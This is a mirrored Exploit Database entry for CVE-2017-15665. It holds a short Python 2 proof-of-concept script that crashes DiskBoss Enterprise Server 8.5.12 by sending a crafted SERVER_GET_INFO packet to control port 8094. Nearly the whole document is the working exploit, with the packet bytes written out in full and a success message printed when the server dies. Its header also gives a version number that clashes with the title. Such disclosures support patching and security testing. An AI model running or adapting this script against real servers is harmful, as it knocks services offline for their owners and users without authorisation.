DiskBoss Enterprise 8.5.12 – Denial of Service

• Exploit Database
• 22 阅读

• 作者： Ahmad Mahfouz
  日期： 2018-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43454/

• # Exploit Title: DiskBoss Enterprise Server 8.5.12 - Denial of Service
  # Date: 2017-10-20
  # Exploit Author: Ahmad Mahfouz
  # Software Link: http:///www.diskboss.com/setups/diskbosssrv_setup_v8.5.12.exe
  # Version: v10.1.16
  # Category; Windows Remote DOS
  # CVE: CVE-2017-15665
  # Author Homepage: www.unixawy.com
  # Description: DiskBoss Enterprise Server 8.5.12 the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 8094.
  
   
  
   
  
  #!/usr/bin/env python
  
  import socket
  
  target = "192.168.72.133"
  port = 8094
  s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect((target,port))
  
  packet = "\x75\x19\xba\xab\x03"
  packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
  packet += "\x00"
  packet += "\x3e"
  packet += "\x00"
  packet += "\x20"
  packet += "\x00"
  packet += "\x00"
  packet += "\x00"
  packet += "\x00\x00\x00\x00"
  packet += "SERVER_GET_INFO"
  packet += "\x02\x32\x01"
  packet += "Data"
  packet += "\x01\x30\x01\x00"
  packet += "\x04\x02\x74"
  packet += "\x18\x18\x00"
  
  s.send(packet)
  
  try:
  
   data = s.recv(100)
  
  except:
  
   print "K1LL3D"